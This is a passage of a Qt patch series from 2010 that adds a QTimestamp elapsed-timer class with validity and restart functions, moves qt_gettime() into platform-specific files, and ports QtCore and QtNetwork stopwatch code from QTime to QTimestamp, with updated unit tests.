src/corelib/kernel/qeventdispatcher_unix.cpp | 9 ++-- src/corelib/tools/qtimestamp_mac.cpp | 25 ++++++++--- src/corelib/tools/qtimestamp_unix.cpp | 62 ++++++++++++++++---------- 5 files changed, 68 insertions(+), 97 deletions(-) diff --git a/src/corelib/kernel/qcore_unix.cpp b/src/corelib/kernel/qcore_unix.cpp index 0fd965b..9146923 100644 --- a/src/corelib/kernel/qcore_unix.cpp +++ b/src/corelib/kernel/qcore_unix.cpp @@ -40,6 +40,7 @@ ****************************************************************************/ #include "qcore_unix_p.h" +#include "qtimestamp.h" #ifndef Q_OS_VXWORKS # if !defined(Q_OS_HPUX) || defined(__ia64) @@ -56,74 +57,12 @@ #include #endif -#if !defined(QT_NO_CLOCK_MONOTONIC) -# if defined(QT_BOOTSTRAPPED) -# define QT_NO_CLOCK_MONOTONIC -# endif -#endif - QT_BEGIN_NAMESPACE -bool qt_gettime_is_monotonic() -{ -#if (_POSIX_MONOTONIC_CLOCK-0 > 0) || defined(Q_OS_MAC) - return true; -#else - static int returnValue = 0; - - if (returnValue == 0) { -# if (_POSIX_MONOTONIC_CLOCK-0 < 0) - returnValue = -1; -# elif (_POSIX_MONOTONIC_CLOCK == 0) - // detect if the system support monotonic timers - long x = sysconf(_SC_MONOTONIC_CLOCK); - returnValue = (x >= 200112L) ? 1 : -1; -# endif - } - - return returnValue != -1; -#endif -} - -timeval qt_gettime() -{ - timeval tv; -#if defined(Q_OS_MAC) - static mach_timebase_info_data_t info = {0,0}; - if (info.denom == 0) - mach_timebase_info(&info); - - uint64_t cpu_time = mach_absolute_time(); - uint64_t nsecs = cpu_time * (info.numer / info.denom); - tv.tv_sec = nsecs / 1000000000ull; - tv.tv_usec = (nsecs / 1000) - (tv.tv_sec * 1000000); - return tv; -#elif (_POSIX_MONOTONIC_CLOCK-0 > 0) - timespec ts; - clock_gettime(CLOCK_MONOTONIC, &ts); - tv.tv_sec = ts.tv_sec; - tv.tv_usec = ts.tv_nsec / 1000; - return tv; -#else -# if !defined(QT_NO_CLOCK_MONOTONIC) && !defined(QT_BOOTSTRAPPED) - if (qt_gettime_is_monotonic()) { - timespec ts; - clock_gettime(CLOCK_MONOTONIC, &ts); - tv.tv_sec = ts.tv_sec; - tv.tv_usec = ts.tv_nsec / 1000; - return tv; - } -# endif - // use gettimeofday - ::gettimeofday(&tv, 0); - return tv; -#endif -} - static inline bool time_update(struct timeval *tv, const struct timeval &start, const struct timeval &timeout) { - if (!qt_gettime_is_monotonic()) { + if (!QTimestamp::isMonotonic()) { // we cannot recalculate the timeout without a monotonic clock as the time may have changed return false; } diff --git a/src/corelib/kernel/qcore_unix_p.h b/src/corelib/kernel/qcore_unix_p.h index 297b25d..59d66f7 100644 --- a/src/corelib/kernel/qcore_unix_p.h +++ b/src/corelib/kernel/qcore_unix_p.h @@ -314,8 +314,8 @@ static inline pid_t qt_safe_waitpid(pid_t pid, int *status, int options) # define _POSIX_MONOTONIC_CLOCK -1 #endif -bool qt_gettime_is_monotonic(); -timeval qt_gettime(); +timeval qt_gettime(); // in qtimestamp_mac.cpp or qtimestamp_unix.cpp + Q_CORE_EXPORT int qt_safe_select(int nfds, fd_set *fdread, fd_set *fdwrite, fd_set *fdexcept, const struct timeval *tv); diff --git a/src/corelib/kernel/qeventdispatcher_unix.cpp b/src/corelib/kernel/qeventdispatcher_unix.cpp index a141887..7a671d1 100644 --- a/src/corelib/kernel/qeventdispatcher_unix.cpp +++ b/src/corelib/kernel/qeventdispatcher_unix.cpp @@ -45,6 +45,7 @@ #include "qpair.h" #include "qsocketnotifier.h" #include "qthread.h" +#include "qtimestamp.h" #include "qeventdispatcher_unix_p.h" #include @@ -311,12 +312,10 @@ int QEventDispatcherUNIXPrivate::doSelect(QEventLoop::ProcessEventsFlags flags, QTimerInfoList::QTimerInfoList() { - currentTime = qt_gettime(); - #if (_POSIX_MONOTONIC_CLOCK-0 <= 0) && !defined(Q_OS_MAC) - if (!qt_gettime_is_monotonic()) { + if (!QTimestamp::isMonotonic()) { // not using monotonic timers, initialize the timeChanged() machinery - previousTime = currentTime; + previousTime = qt_gettime(); tms unused; previousTicks = times(&unused); @@ -393,7 +392,7 @@ bool QTimerInfoList::timeChanged(timeval *delta) void QTimerInfoList::repairTimersIfNeeded() { - if (qt_gettime_is_monotonic()) + if (QTimestamp::isMonotonic()) return; timeval delta; if (timeChanged(&delta)) diff --git a/src/corelib/tools/qtimestamp_mac.cpp b/src/corelib/tools/qtimestamp_mac.cpp index bdc91d1..e1a7d79 100644 --- a/src/corelib/tools/qtimestamp_mac.cpp +++ b/src/corelib/tools/qtimestamp_mac.cpp @@ -53,20 +53,35 @@ bool QTimestamp::isMonotonic() } static mach_timebase_info_data_t info = {0,0}; -static qint64 absoluteToMSecs(qint64 cpuTime) +static qint64 absoluteToNSecs(qint64 cpuTime) { if (info.denom == 0) mach_timebase_info(&info); qint64 nsecs = cpuTime * info.numer / info.denom; - return nsecs / (1000*1000ull); + return nsecs; +} + +static qint64 absoluteToMSecs(qint64 cpuTime) +{ + return absoluteToNSecs(cpuTime) / 1000000; } static qint64 msecsToAbsolute(qint64 ms) { if (info.denom == 0) mach_timebase_info(&info); - qint64 nsecs = ms * 1000000ull; - return nsecs * info.denom / info.numer; + return ms * 1000000 * info.denom / info.numer; +} + +timeval qt_gettime() +{ + timeval tv; + + uint64_t cpu_time = mach_absolute_time(); + uint64_t nsecs = absoluteToNSecs(cpu_time); + tv.tv_sec = nsecs / 1000000000ull; + tv.tv_usec = (nsecs / 1000) - (tv.tv_sec * 1000000); + return tv; } void QTimestamp::start() @@ -98,7 +113,7 @@ qint64 QTimestamp::secsTo(const QTimestamp &other) const void QTimestamp::addSecs(int secs) { - t1 += secs * 1000; + t1 += msecsToAbsolute(secs * 1000); } bool operator<(const QTimestamp &v1, const QTimestamp &v2) diff --git a/src/corelib/tools/qtimestamp_unix.cpp b/src/corelib/tools/qtimestamp_unix.cpp index b82259f..dbf49c1 100644 --- a/src/corelib/tools/qtimestamp_unix.cpp +++ b/src/corelib/tools/qtimestamp_unix.cpp @@ -40,6 +40,7 @@ ****************************************************************************/ #include "qtimestamp.h" +#include "qpair.h" #include #include #include @@ -52,6 +53,19 @@ QT_BEGIN_NAMESPACE +static qint64 fractionAdjustment() +{ + if (QTimestamp::isMonotonic()) { + // the monotonic timer is measured in nanoseconds + // 1 ms = 1000000 ns + return 1000*1000ull; + } else { + // gettimeofday is measured in microseconds + // 1 ms = 1000 us + return 1000; + } +} + bool QTimestamp::isMonotonic() { #if (_POSIX_MONOTONIC_CLOCK-0 > 0) @@ -73,44 +87,48 @@ bool QTimestamp::isMonotonic() #endif } -static qint64 fractionAdjustment() -{ - if (QTimestamp::isMonotonic()) { - // the monotonic timer is measured in nanoseconds - // 1 ms = 1000000 ns - return 1000*1000ull; - } else { - // gettimeofday is measured in microseconds - // 1 ms = 1000 us - return 1000; - } -} - -void QTimestamp::start() +static inline QPair do_gettime() { #if (_POSIX_MONOTONIC_CLOCK-0 > 0) timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); - t1 = ts.tv_sec; - t2 = ts.tv_nsec; + return qMakePair(ts.tv_sec, ts.tv_nsec); #else # if !defined(QT_NO_CLOCK_MONOTONIC) && !defined(QT_BOOTSTRAPPED) - if (isMonotonic()) { + if (QTimestamp::isMonotonic()) { timespec ts; clock_gettime(CLOCK_MONOTONIC, &ts); - t1 = ts.tv_sec; - t2 = ts.tv_nsec; - return; + return qMakePair(ts.tv_sec, ts.tv_nsec); } # endif // use gettimeofday timeval tv; ::gettimeofday(&tv, 0); - t1 = tv.tv_sec; - t2 = tv.tv_usec; + return qMakePair(tv.tv_sec, tv.tv_usec); #endif } +// used in qcore_unix.cpp and qeventdispatcher_unix.cpp +timeval qt_gettime() +{ + QPair r = do_gettime(); + + timeval tv; + tv.tv_sec = r.first; + tv.tv_usec = r.second; + if (QTimestamp::isMonotonic()) + tv.tv_usec /= 1000; + + return tv; +} + +void QTimestamp::start() +{ + QPair r = do_gettime(); + t1 = r.first; + t2 = r.second; +} + qint64 QTimestamp::elapsed() const { QTimestamp now; -- cgit v0.12 From 8c9446cd2058fde086df92f6b7d97e4770cf8dc6 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 19:47:10 +0100 Subject: Add a qtimestamp.cpp with some common functions. Had to add invalidate() and isValid() functions because that's what QUnifiedTimer expects (QAbstractAnimation). Also move restart() to each implementation for efficiency. Task-number: QT-2965 --- src/corelib/tools/qtimestamp.cpp | 65 ++++++++++++++++++++++++++++++++ src/corelib/tools/qtimestamp.h | 16 ++------ src/corelib/tools/qtimestamp_generic.cpp | 8 ++++ src/corelib/tools/qtimestamp_mac.cpp | 8 ++++ src/corelib/tools/qtimestamp_unix.cpp | 13 +++++++ src/corelib/tools/qtimestamp_win.cpp | 7 ++++ src/corelib/tools/tools.pri | 1 + tests/auto/qtimestamp/tst_qtimestamp.cpp | 34 +++++++++++++++-- 8 files changed, 136 insertions(+), 16 deletions(-) create mode 100644 src/corelib/tools/qtimestamp.cpp diff --git a/src/corelib/tools/qtimestamp.cpp b/src/corelib/tools/qtimestamp.cpp new file mode 100644 index 0000000..b861099 --- /dev/null +++ b/src/corelib/tools/qtimestamp.cpp @@ -0,0 +1,65 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the QtCore module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qtimestamp.h" + +QT_BEGIN_NAMESPACE + +static const qint64 invalidData = Q_INT64_C(0x8000000000000000); + +void QTimestamp::invalidate() +{ + t1 = t2 = invalidData; +} + +bool QTimestamp::isValid() const +{ + return t1 != invalidData && t2 != invalidData; +} + +bool QTimestamp::hasExpired(qint64 timeout) const +{ + // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be + // considered as never expired + return quint64(elapsed()) > quint64(timeout); +} + +QT_END_NAMESPACE diff --git a/src/corelib/tools/qtimestamp.h b/src/corelib/tools/qtimestamp.h index f923cd4..1e913f0 100644 --- a/src/corelib/tools/qtimestamp.h +++ b/src/corelib/tools/qtimestamp.h @@ -56,20 +56,12 @@ public: static bool isMonotonic(); void start(); - qint64 restart() - { - qint64 r = elapsed(); - start(); - return r; - } + qint64 restart(); + void invalidate(); + bool isValid() const; qint64 elapsed() const; - bool hasExpired(qint64 timeout) const - { - // if timeout is -1, quint64(timeout) is LLINT_MAX, so this will be - // considered as never expired - return quint64(elapsed()) > quint64(timeout); - } + bool hasExpired(qint64 timeout) const; qint64 msecsTo(const QTimestamp &other) const; void addMSecs(int ms); diff --git a/src/corelib/tools/qtimestamp_generic.cpp b/src/corelib/tools/qtimestamp_generic.cpp index 18c5026..9930932 100644 --- a/src/corelib/tools/qtimestamp_generic.cpp +++ b/src/corelib/tools/qtimestamp_generic.cpp @@ -56,6 +56,14 @@ void QTimestamp::start() t2 = 0; } +qint64 QTimestamp::restart() +{ + QTime t = QTime::currentTime(); + qint64 old = t1; + t1 = t.mds; + return t1 - old; +} + qint64 QTimestamp::elapsed() const { QTime t = QTime::currentTime(); diff --git a/src/corelib/tools/qtimestamp_mac.cpp b/src/corelib/tools/qtimestamp_mac.cpp index e1a7d79..a80e7ee 100644 --- a/src/corelib/tools/qtimestamp_mac.cpp +++ b/src/corelib/tools/qtimestamp_mac.cpp @@ -90,6 +90,14 @@ void QTimestamp::start() t2 = 0; } +qint64 QTimestamp::restart() +{ + qint64 old = t1; + t1 = mach_absolute_time(); + + return absoluteToMSecs(t1 - old); +} + qint64 QTimestamp::elapsed() const { uint64_t cpu_time = mach_absolute_time(); diff --git a/src/corelib/tools/qtimestamp_unix.cpp b/src/corelib/tools/qtimestamp_unix.cpp index dbf49c1..75371e7 100644 --- a/src/corelib/tools/qtimestamp_unix.cpp +++ b/src/corelib/tools/qtimestamp_unix.cpp @@ -129,6 +129,19 @@ void QTimestamp::start() t2 = r.second; } +qint64 QTimestamp::restart() +{ + QPair r = do_gettime(); + qint64 oldt1 = t1; + qint64 oldt2 = t2; + t1 = r.first; + t2 = r.second; + + r.first -= oldt1; + r.second -= oldt2; + return r.first * 1000 + r.second / fractionAdjustment(); +} + qint64 QTimestamp::elapsed() const { QTimestamp now; diff --git a/src/corelib/tools/qtimestamp_win.cpp b/src/corelib/tools/qtimestamp_win.cpp index 99faebd..72d38d0 100644 --- a/src/corelib/tools/qtimestamp_win.cpp +++ b/src/corelib/tools/qtimestamp_win.cpp @@ -87,6 +87,13 @@ void QTimestamp::start() t2 = 0; } +qint64 QTimestamp::restart() +{ + qint64 oldt1 = t1; + t1 = getTickCount(); + return t1 - oldt1; +} + qint64 QTimestamp::elapsed() const { return getTickCount() - t1; diff --git a/src/corelib/tools/tools.pri b/src/corelib/tools/tools.pri index 863f86e..e1097c4 100644 --- a/src/corelib/tools/tools.pri +++ b/src/corelib/tools/tools.pri @@ -77,6 +77,7 @@ SOURCES += \ tools/qstringlist.cpp \ tools/qtextboundaryfinder.cpp \ tools/qtimeline.cpp \ + tools/qtimestamp.cpp \ tools/qvector.cpp \ tools/qvsnprintf.cpp diff --git a/tests/auto/qtimestamp/tst_qtimestamp.cpp b/tests/auto/qtimestamp/tst_qtimestamp.cpp index 5a0b230..ab1e959 100644 --- a/tests/auto/qtimestamp/tst_qtimestamp.cpp +++ b/tests/auto/qtimestamp/tst_qtimestamp.cpp @@ -3,15 +3,32 @@ #include #include +static const int minResolution = 50; // the minimum resolution for the tests + class tst_QTimestamp : public QObject { Q_OBJECT private Q_SLOTS: + void validity(); void basics(); void elapsed(); }; +void tst_QTimestamp::validity() +{ + QTimestamp t; + + t.invalidate(); + QVERIFY(!t.isValid()); + + t.start(); + QVERIFY(t.isValid()); + + t.invalidate(); + QVERIFY(!t.isValid()); +} + void tst_QTimestamp::basics() { QTimestamp t1; @@ -36,6 +53,9 @@ void tst_QTimestamp::basics() QCOMPARE(t1.secsTo(t2), qint64(1)); QCOMPARE(t2 - t1, qint64(1000)); QCOMPARE(t1 - t2, qint64(-1000)); + + qint64 elapsed = t1.restart(); + QVERIFY(elapsed < minResolution); } void tst_QTimestamp::elapsed() @@ -43,7 +63,7 @@ void tst_QTimestamp::elapsed() QTimestamp t1; t1.start(); - QTest::qWait(100); + QTest::qWait(4*minResolution); QTimestamp t2; t2.start(); @@ -55,12 +75,18 @@ void tst_QTimestamp::elapsed() QVERIFY(t1 - t2 < 0); QVERIFY(t1.elapsed() > 0); - QVERIFY(t1.hasExpired(50)); - QVERIFY(!t1.hasExpired(500)); - QVERIFY(!t2.hasExpired(0)); + QVERIFY(t1.hasExpired(minResolution)); + QVERIFY(!t1.hasExpired(8*minResolution)); + QVERIFY(!t2.hasExpired(minResolution)); QVERIFY(!t1.hasExpired(-1)); QVERIFY(!t2.hasExpired(-1)); + + qint64 elapsed = t1.restart(); + QVERIFY(elapsed > 3*minResolution); + QVERIFY(elapsed < 5*minResolution); + qint64 diff = t1 - t2; + QVERIFY(diff < minResolution); } QTEST_MAIN(tst_QTimestamp); -- cgit v0.12 From cd33d38ce0067719b0215264a22685a91b2e08dc Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 18:27:45 +0100 Subject: Port QtCore uses of QTime as a stopwatch to QTimestamp. tst_qtimeline improvement: from 56187446 to 53915928 (callgrind) --- src/corelib/animation/qabstractanimation.cpp | 1 + src/corelib/animation/qabstractanimation_p.h | 57 +--------------------------- src/corelib/io/qprocess.cpp | 6 +-- src/corelib/io/qprocess_unix.cpp | 8 ++-- src/corelib/kernel/qcoreapplication.cpp | 4 +- src/corelib/tools/qtimeline.cpp | 4 +- 6 files changed, 14 insertions(+), 66 deletions(-) diff --git a/src/corelib/animation/qabstractanimation.cpp b/src/corelib/animation/qabstractanimation.cpp index f834a80..82b3003 100644 --- a/src/corelib/animation/qabstractanimation.cpp +++ b/src/corelib/animation/qabstractanimation.cpp @@ -170,6 +170,7 @@ QUnifiedTimer::QUnifiedTimer() : currentAnimationIdx(0), consistentTiming(false), slowMode(false), isPauseTimerActive(false), runningLeafAnimations(0) { + time.invalidate(); } QUnifiedTimer *QUnifiedTimer::instance() diff --git a/src/corelib/animation/qabstractanimation_p.h b/src/corelib/animation/qabstractanimation_p.h index 8bc3224..3eb4948 100644 --- a/src/corelib/animation/qabstractanimation_p.h +++ b/src/corelib/animation/qabstractanimation_p.h @@ -56,6 +56,7 @@ #include #include #include +#include #include #ifdef Q_OS_WIN @@ -113,61 +114,7 @@ private: Q_DECLARE_PUBLIC(QAbstractAnimation) }; -class ElapsedTimer -{ -public: - ElapsedTimer() { - invalidate(); - } - - void invalidate() { - m_started = -1; - } - - bool isValid() const { - return m_started >= 0; - } - - void start() { - m_started = getTickCount_sys(); - } - - qint64 elapsed() const { - qint64 current = getTickCount_sys(); - qint64 delta = current - m_started; - if (delta < 0) - delta += getPeriod_sys(); //we wrapped around - return delta; - } - -private: - enum { - MSECS_PER_HOUR = 3600000, - MSECS_PER_MIN = 60000 - }; - - qint64 m_started; - - quint64 getPeriod_sys() const { -#ifdef Q_OS_WIN - return Q_UINT64_C(0x100000000); -#else - // fallback - return 86400 * 1000; -#endif - } - - qint64 getTickCount_sys() const { -#ifdef Q_OS_WIN - return ::GetTickCount(); -#else - // fallback - const QTime t = QTime::currentTime(); - return MSECS_PER_HOUR * t.hour() + MSECS_PER_MIN * t.minute() + 1000 * t.second() + t.msec(); -#endif - } -}; - +typedef QTimestamp ElapsedTimer; class QUnifiedTimer : public QObject { diff --git a/src/corelib/io/qprocess.cpp b/src/corelib/io/qprocess.cpp index 12a992a..6250094 100644 --- a/src/corelib/io/qprocess.cpp +++ b/src/corelib/io/qprocess.cpp @@ -88,7 +88,7 @@ QT_END_NAMESPACE #include "qprocess_p.h" #include -#include +#include #include #include #include @@ -1639,7 +1639,7 @@ bool QProcess::waitForBytesWritten(int msecs) if (d->processState == QProcess::NotRunning) return false; if (d->processState == QProcess::Starting) { - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); bool started = waitForStarted(msecs); if (!started) @@ -1676,7 +1676,7 @@ bool QProcess::waitForFinished(int msecs) if (d->processState == QProcess::NotRunning) return false; if (d->processState == QProcess::Starting) { - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); bool started = waitForStarted(msecs); if (!started) diff --git a/src/corelib/io/qprocess_unix.cpp b/src/corelib/io/qprocess_unix.cpp index 5119ec0..511154a 100644 --- a/src/corelib/io/qprocess_unix.cpp +++ b/src/corelib/io/qprocess_unix.cpp @@ -92,7 +92,6 @@ QT_END_NAMESPACE #include #include -#include #include #include #include @@ -101,6 +100,7 @@ QT_END_NAMESPACE #include #include #include +#include #include #include @@ -933,7 +933,7 @@ bool QProcessPrivate::waitForReadyRead(int msecs) qDebug("QProcessPrivate::waitForReadyRead(%d)", msecs); #endif - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); forever { @@ -1005,7 +1005,7 @@ bool QProcessPrivate::waitForBytesWritten(int msecs) qDebug("QProcessPrivate::waitForBytesWritten(%d)", msecs); #endif - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); while (!writeBuffer.isEmpty()) { @@ -1072,7 +1072,7 @@ bool QProcessPrivate::waitForFinished(int msecs) qDebug("QProcessPrivate::waitForFinished(%d)", msecs); #endif - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); forever { diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp index 2da5a7d..3d6364b 100644 --- a/src/corelib/kernel/qcoreapplication.cpp +++ b/src/corelib/kernel/qcoreapplication.cpp @@ -47,7 +47,6 @@ #include "qeventloop.h" #include "qcorecmdlineargs_p.h" #include -#include #include #include #include @@ -59,6 +58,7 @@ #include #include #include +#include #include #include #include @@ -917,7 +917,7 @@ void QCoreApplication::processEvents(QEventLoop::ProcessEventsFlags flags, int m QThreadData *data = QThreadData::current(); if (!data->eventDispatcher) return; - QTime start; + QTimestamp start; start.start(); if (flags & QEventLoop::DeferredDeletion) QCoreApplication::sendPostedEvents(0, QEvent::DeferredDelete); diff --git a/src/corelib/tools/qtimeline.cpp b/src/corelib/tools/qtimeline.cpp index 877a77a..57977bc 100644 --- a/src/corelib/tools/qtimeline.cpp +++ b/src/corelib/tools/qtimeline.cpp @@ -42,9 +42,9 @@ #include "qtimeline.h" #include -#include #include #include +#include QT_BEGIN_NAMESPACE @@ -70,7 +70,7 @@ public: int currentTime; int timerId; - QTime timer; + QTimestamp timer; QTimeLine::Direction direction; QEasingCurve easingCurve; -- cgit v0.12 From ec5b7ea367389234697a98d7243243ec689be724 Mon Sep 17 00:00:00 2001 From: Thiago Macieira Date: Thu, 18 Feb 2010 19:48:41 +0100 Subject: Port QtNetwork uses of QTime as a stopwatch to QTimestamp. --- src/network/socket/qabstractsocket.cpp | 10 +++++----- src/network/socket/qhttpsocketengine.cpp | 6 +++--- src/network/socket/qlocalsocket_unix.cpp | 4 ++-- src/network/socket/qnativesocketengine_unix.cpp | 4 ++-- src/network/socket/qsocks5socketengine.cpp | 18 +++++++++--------- src/network/ssl/qsslsocket.cpp | 10 +++++----- 6 files changed, 26 insertions(+), 26 deletions(-) diff --git a/src/network/socket/qabstractsocket.cpp b/src/network/socket/qabstractsocket.cpp index 95721ee..fc50ee5 100644 --- a/src/network/socket/qabstractsocket.cpp +++ b/src/network/socket/qabstractsocket.cpp @@ -365,12 +365,12 @@ #include "private/qhostinfo_p.h" #include -#include #include #include #include #include #include +#include #ifndef QT_NO_OPENSSL #include @@ -1738,7 +1738,7 @@ bool QAbstractSocket::waitForConnected(int msecs) bool wasPendingClose = d->pendingClose; d->pendingClose = false; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); if (d->state == HostLookupState) { @@ -1819,7 +1819,7 @@ bool QAbstractSocket::waitForReadyRead(int msecs) return false; } - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // handle a socket in connecting state @@ -1878,7 +1878,7 @@ bool QAbstractSocket::waitForBytesWritten(int msecs) if (d->writeBuffer.isEmpty()) return false; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // handle a socket in connecting state @@ -1960,7 +1960,7 @@ bool QAbstractSocket::waitForDisconnected(int msecs) return false; } - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // handle a socket in connecting state diff --git a/src/network/socket/qhttpsocketengine.cpp b/src/network/socket/qhttpsocketengine.cpp index 3293ff5..9d412ac 100644 --- a/src/network/socket/qhttpsocketengine.cpp +++ b/src/network/socket/qhttpsocketengine.cpp @@ -42,9 +42,9 @@ #include "qhttpsocketengine_p.h" #include "qtcpsocket.h" #include "qhostaddress.h" -#include "qdatetime.h" #include "qurl.h" #include "qhttp.h" +#include "qtimestamp.h" #if !defined(QT_NO_NETWORKPROXY) && !defined(QT_NO_HTTP) #include @@ -319,7 +319,7 @@ bool QHttpSocketEngine::waitForRead(int msecs, bool *timedOut) if (!d->socket || d->socket->state() == QAbstractSocket::UnconnectedState) return false; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // Wait for more data if nothing is available. @@ -366,7 +366,7 @@ bool QHttpSocketEngine::waitForWrite(int msecs, bool *timedOut) return true; } - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // If we're not connected yet, wait until we are, and until bytes have diff --git a/src/network/socket/qlocalsocket_unix.cpp b/src/network/socket/qlocalsocket_unix.cpp index 1ca11d8..20301ba 100644 --- a/src/network/socket/qlocalsocket_unix.cpp +++ b/src/network/socket/qlocalsocket_unix.cpp @@ -52,9 +52,9 @@ #include #include -#include #include #include +#include #ifdef Q_OS_VXWORKS # include @@ -534,7 +534,7 @@ bool QLocalSocket::waitForConnected(int msec) int result = -1; // on Linux timeout will be updated by select, but _not_ on other systems. - QTime timer; + QTimestamp timer; timer.start(); while (state() == ConnectingState && (-1 == msec || timer.elapsed() < msec)) { diff --git a/src/network/socket/qnativesocketengine_unix.cpp b/src/network/socket/qnativesocketengine_unix.cpp index 9a2c349..7c1fc17 100644 --- a/src/network/socket/qnativesocketengine_unix.cpp +++ b/src/network/socket/qnativesocketengine_unix.cpp @@ -44,8 +44,8 @@ #include "private/qnet_unix_p.h" #include "qiodevice.h" #include "qhostaddress.h" +#include "qtimestamp.h" #include "qvarlengtharray.h" -#include "qdatetime.h" #include #include #include @@ -1003,7 +1003,7 @@ int QNativeSocketEnginePrivate::nativeSelect(int timeout, bool checkRead, bool c #ifndef Q_OS_SYMBIAN ret = qt_safe_select(socketDescriptor + 1, &fdread, &fdwrite, 0, timeout < 0 ? 0 : &tv); #else - QTime timer; + QTimestamp timer; timer.start(); do { diff --git a/src/network/socket/qsocks5socketengine.cpp b/src/network/socket/qsocks5socketengine.cpp index 924530e..0c6a01a 100644 --- a/src/network/socket/qsocks5socketengine.cpp +++ b/src/network/socket/qsocks5socketengine.cpp @@ -49,7 +49,7 @@ #include "qdebug.h" #include "qhash.h" #include "qqueue.h" -#include "qdatetime.h" +#include "qtimestamp.h" #include "qmutex.h" #include "qthread.h" #include "qcoreapplication.h" @@ -308,7 +308,7 @@ struct QSocks5BindData : public QSocks5Data quint16 localPort; QHostAddress peerAddress; quint16 peerPort; - QDateTime timeStamp; + QTimestamp timeStamp; }; struct QSocks5RevivedDatagram @@ -369,7 +369,7 @@ void QSocks5BindStore::add(int socketDescriptor, QSocks5BindData *bindData) if (store.contains(socketDescriptor)) { // qDebug() << "delete it"; } - bindData->timeStamp = QDateTime::currentDateTime(); + bindData->timeStamp.start(); store.insert(socketDescriptor, bindData); // start sweep timer if not started if (sweepTimerId == -1) @@ -412,7 +412,7 @@ void QSocks5BindStore::timerEvent(QTimerEvent * event) QMutableHashIterator it(store); while (it.hasNext()) { it.next(); - if (it.value()->timeStamp.secsTo(QDateTime::currentDateTime()) > 350) { + if (it.value()->timeStamp.hasExpired(350000)) { QSOCKS5_DEBUG << "QSocks5BindStore removing JJJJ"; it.remove(); } @@ -1355,7 +1355,7 @@ bool QSocks5SocketEngine::bind(const QHostAddress &address, quint16 port) } int msecs = SOCKS5_BLOCKING_BIND_TIMEOUT; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); d->data->controlSocket->connectToHost(d->proxyInfo.hostName(), d->proxyInfo.port()); if (!d->waitForConnected(msecs, 0) || @@ -1455,7 +1455,7 @@ void QSocks5SocketEngine::close() if (d->data && d->data->controlSocket) { if (d->data->controlSocket->state() == QAbstractSocket::ConnectedState) { int msecs = 100; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); while (!d->data->controlSocket->bytesToWrite()) { if (!d->data->controlSocket->waitForBytesWritten(qt_timeout_value(msecs, stopWatch.elapsed()))) @@ -1674,7 +1674,7 @@ bool QSocks5SocketEnginePrivate::waitForConnected(int msecs, bool *timedOut) mode == BindMode ? BindSuccess : UdpAssociateSuccess; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); while (socks5State != wantedState) { @@ -1699,7 +1699,7 @@ bool QSocks5SocketEngine::waitForRead(int msecs, bool *timedOut) d->readNotificationActivated = false; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // are we connected yet? @@ -1749,7 +1749,7 @@ bool QSocks5SocketEngine::waitForWrite(int msecs, bool *timedOut) Q_D(QSocks5SocketEngine); QSOCKS5_DEBUG << "waitForWrite" << msecs; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); // are we connected yet? diff --git a/src/network/ssl/qsslsocket.cpp b/src/network/ssl/qsslsocket.cpp index 9623570..895e32c 100644 --- a/src/network/ssl/qsslsocket.cpp +++ b/src/network/ssl/qsslsocket.cpp @@ -286,8 +286,8 @@ #include #include -#include #include +#include #include #include @@ -1393,7 +1393,7 @@ bool QSslSocket::waitForEncrypted(int msecs) if (d->mode == UnencryptedMode && !d->autoStartHandshake) return false; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); if (d->plainSocket->state() != QAbstractSocket::ConnectedState) { @@ -1433,7 +1433,7 @@ bool QSslSocket::waitForReadyRead(int msecs) bool *previousReadyReadEmittedPointer = d->readyReadEmittedPointer; d->readyReadEmittedPointer = &readyReadEmitted; - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); if (!d->connectionEncrypted) { @@ -1470,7 +1470,7 @@ bool QSslSocket::waitForBytesWritten(int msecs) if (d->mode == UnencryptedMode) return d->plainSocket->waitForBytesWritten(msecs); - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); if (!d->connectionEncrypted) { @@ -1508,7 +1508,7 @@ bool QSslSocket::waitForDisconnected(int msecs) if (d->mode == UnencryptedMode) return d->plainSocket->waitForDisconnected(msecs); - QTime stopWatch; + QTimestamp stopWatch; stopWatch.start(); if (!d->connectionEncrypted) { -- cgit v0.12 From 